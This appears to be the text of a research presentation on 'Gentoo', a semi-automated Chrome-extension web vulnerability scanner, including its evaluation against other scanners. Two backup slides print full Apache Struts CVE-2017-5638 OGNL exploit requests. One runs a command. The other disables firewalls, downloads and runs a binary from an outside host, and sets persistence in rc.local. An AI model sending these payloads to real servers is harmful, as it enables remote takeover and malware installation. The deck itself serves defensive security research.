Gentoo

Webapp vulnerability detection through semi-automated black-box scanning

Motivation

CVE-2017-5638

Apache Struts

CVE-2017-5638

Apache Struts

CVE-2017-5638

EQUIFAX

Equifax data breach

- 146 Million affected
- Names
- Birthdates
- SSN

CVE-2017-5638

- Remote Code Execution (RCE) in **Content-type** header

OWASP Top 10

- Most critical web application security risks (2017):

1. **Injection**
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities
5. Broken Access Control
6. Security Misconfiguration
7. Cross Site Scripting (XSS)
8. Insecure Deserialization
9. Using components with known vulnerabilities
10. Insufficient logging and monitoring

Detection and prevention

Detection and prevention

- ZAP

Detection and prevention

- ZAP



Detection and prevention

- ZAP
- Burpsuite



Detection and prevention

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

Detection and prevention

- ZAP
- Burpsuite
- Acunetix



Detection and prevention

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

Detection and prevention

- ZAP
- Burpsuite
- Acunetix
- and others



All fully automated

- Web analysts and pentesters must identify vulnerabilities before attackers
- Probing and Malware injection are delicate tasks
- Inputs not automatically generated

What about semi-automation?

What is it?

- Webapp vulnerability scanner

- Guided by human interaction

How?

- Chrome Extension
- Between the website and the user
- Skips crawling required by competitors

Key contributions

- Form exploitation recommendations
- Passive Mode
- Action Replay Mode

Form exploitation recommendations

- Scans `<input>` tags in a page (ideally within a form)
- Injects "*Investigate Form*" button as a sibling node
- Investigation sends probing payloads

Form exploitation recommendations



Form exploitation recommendations

- Payloads designed to reach the Request logger
- If we get there - we've executed our own JavaScript

Request Logger



Passive Mode

- Scans and analyses request and response headers
- Looks for a subset of insecure headers
- Able to perform basic CSRF and Cookie safety scans

Passive Mode

- Has a more experimental "Cross Checks" mode
- Analyses past requests across a user decided window
- Aim is to find second order reflection attacks

Passive Mode



Action Replay

- Allows a user to focus specific attacks
- Records user input
- Replays submissions with tweaked inputs

Live Vulnerability

- Sporadically used Gentoo's Recommendations when browsing

- Interesting outputs

Live Vulnerability



Live Vulnerability



Vulnerability live demo

Evaluation

- Benchmark Gentoo against other scanners
- Scan different web applications
  - Test Harness
  - DVWA
  - WebGoat
  - WackoPicko

Evaluation

- 3 success metrics
  - Time to vulnerability *(speed)*
  - Number of replays until first vulnerability *(speed, efficiency)*
  - Interaction volume *(efficiency, scan stealth)*

Time to vulnerability



Number of replays to first vulnerability



Interaction volume (KB)



Final thoughts

- Difficult to generate comparison between fully and semi-automated tools
  - Full website scan vs targeted, single attack
- Gentoo is currently hard to use
- Finding live HTML injection vuln is excellent

Any questions?

Number of replays to first vulnerability

- Obviously skewed against larger, full web app scanners
- Fairer comparison by comparing the % of scan complete instead

Scan completion (%) to first vulnerability

- Now it's skewed against much shorter scans
- In one of the cases the first attack (out of a total of 3) was successful
  - 33% is misleading

Scan completion (%) to first vulnerability



Interaction volumes

- Also skewed against larger attacks
- Normalise the data
    - Divide interaction by number of confirmed vulnerabilities

Normalised interaction volume (KB)



Probing

```
POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: %{(#Normal='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
```

Malware distribution

```
GET / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2
stop;reSuSEfirewall2 stop;cd /tmp;wget -c http[redacted]:2651/syn13576;chmod 777 syn13576;./syn13576;echo "cd
/tmp/">>/etc/rc.local;echo "./syn13576&">>/etc/rc.local;echo "/etc/init.d/iptables stop">>/etc/rc.local;').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: text/html, application/xhtml+xml, */*
Accept-Encoding: gbk, GB2312
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
```

Why the name?


dogs
All
Images
Videos
Shopping
News
More
Settings
Tools
View saved
SafeSearch on
newfoundland
shar pei
havanese
dalmatian
chow
samoyed
collie
adorable
puppy
teacup
tibetan mastiff
saint bernard
australian shepherd
2000 × 1333 - bluecross.org.uk

Recommendations video

Passive Mode video

Crawling 101

CSRF and Cookie Scans

Action Replay video

Live Vulnerability



Live Vulnerability

403 Forbidden

A potentially unsafe operation has been detected in your request to this site.

Generated by Wordfence at Thu, 21 Jun 2018 11:15:26 GMT.
Your computer's time: Thu, 21 Jun 2018 11:15:26 GMT.